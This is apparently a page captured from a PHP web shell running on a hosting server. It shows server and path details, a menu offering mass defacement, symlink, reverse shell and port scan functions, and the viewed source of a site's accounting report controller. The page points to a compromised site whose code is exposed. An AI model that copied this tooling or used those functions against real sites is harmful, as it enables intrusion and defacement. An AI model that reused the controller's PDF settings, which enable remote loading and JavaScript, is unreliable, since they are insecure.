Tul xxx Tul
User / IP
:
216.73.216.227
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comercial
/
controllers
/
Viewing: Estadoresultado.php
<?php require 'vendor/autoload.php'; use Dompdf\Dompdf; class Estadoresultado extends Controller { private $id_usuario, $id_sucursal; public function __construct() { parent::__construct(); session_start(); if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } $this->id_usuario = $_SESSION['id_usuario']; $this->id_sucursal = $_SESSION['id_sucursal']; } public function index() { if (!verificar('reporte_ventas') && !verificar('reporte_compras') && !verificar('ver_gastos')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $data['title'] = 'Estado de Resultado'; $data['script'] = 'estadoresultado.js'; $this->views->getView('estadoresultado', 'index', $data); } public function resumen() { $response = [ 'ventas' => 0, 'compras' => 0, 'gastos' => 0, 'utilidad_bruta' => 0, 'utilidad_neta' => 0, 'ventasDecimal' => '0.00', 'comprasDecimal' => '0.00', 'gastosDecimal' => '0.00', 'utilidadBrutaDecimal' => '0.00', 'utilidadNetaDecimal' => '0.00', 'moneda' => MONEDA, ]; if (verificar('reporte_ventas') || verificar('reporte_compras') || verificar('ver_gastos')) { $desde = !empty($_GET['desde']) ? $_GET['desde'] : date('Y-m-01'); $hasta = !empty($_GET['hasta']) ? $_GET['hasta'] : date('Y-m-t'); $ventas = $this->model->getTotalVentas($this->id_sucursal, $desde, $hasta); $compras = $this->model->getTotalCompras($this->id_sucursal, $desde, $hasta); $gastos = $this->model->getTotalGastos($this->id_sucursal, $desde, $hasta); $totalVentas = (!empty($ventas['total'])) ? (float)$ventas['total'] : 0; $totalCompras = (!empty($compras['total'])) ? (float)$compras['total'] : 0; $totalGastos = (!empty($gastos['total'])) ? (float)$gastos['total'] : 0; $utilidadBruta = $totalVentas - $totalCompras; $utilidadNeta = $utilidadBruta - $totalGastos; $response['ventas'] = number_format($totalVentas, 2, '.', ''); $response['compras'] = number_format($totalCompras, 2, '.', ''); $response['gastos'] = number_format($totalGastos, 2, '.', ''); $response['utilidad_bruta'] = number_format($utilidadBruta, 2, '.', ''); $response['utilidad_neta'] = number_format($utilidadNeta, 2, '.', ''); $response['ventasDecimal'] = number_format($totalVentas, 2); $response['comprasDecimal'] = number_format($totalCompras, 2); $response['gastosDecimal'] = number_format($totalGastos, 2); $response['utilidadBrutaDecimal'] = number_format($utilidadBruta, 2); $response['utilidadNetaDecimal'] = number_format($utilidadNeta, 2); } echo json_encode($response, JSON_UNESCAPED_UNICODE); die(); } public function reporte() { if (!verificar('reporte_ventas') && !verificar('reporte_compras') && !verificar('ver_gastos')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $desde = !empty($_GET['desde']) ? $_GET['desde'] : date('Y-m-01'); $hasta = !empty($_GET['hasta']) ? $_GET['hasta'] : date('Y-m-t'); $ventas = $this->model->getTotalVentas($this->id_sucursal, $desde, $hasta); $compras = $this->model->getTotalCompras($this->id_sucursal, $desde, $hasta); $gastos = $this->model->getTotalGastos($this->id_sucursal, $desde, $hasta); $totalVentas = (!empty($ventas['total'])) ? (float)$ventas['total'] : 0; $totalCompras = (!empty($compras['total'])) ? (float)$compras['total'] : 0; $totalGastos = (!empty($gastos['total'])) ? (float)$gastos['total'] : 0; $utilidadBruta = $totalVentas - $totalCompras; $utilidadNeta = $utilidadBruta - $totalGastos; $data['title'] = 'Estado de Resultado'; $data['empresa'] = $this->model->getEmpresa($this->id_sucursal); $data['desde'] = $desde; $data['hasta'] = $hasta; $data['moneda'] = MONEDA; $data['totales'] = [ 'ventas' => number_format($totalVentas, 2), 'compras' => number_format($totalCompras, 2), 'gastos' => number_format($totalGastos, 2), 'utilidadBruta' => number_format($utilidadBruta, 2), 'utilidadNeta' => number_format($utilidadNeta, 2), ]; ob_start(); $this->views->getView('estadoresultado', 'reporte', $data); $html = ob_get_clean(); $dompdf = new Dompdf(); $options = $dompdf->getOptions(); $options->set('isJavascriptEnabled', true); $options->set('isRemoteEnabled', true); $dompdf->setOptions($options); $dompdf->loadHtml($html); $dompdf->setPaper('A4', 'vertical'); $dompdf->render(); $dompdf->stream('estado_resultado.pdf', array('Attachment' => false)); } }
Coded With 💗 by
0x6ick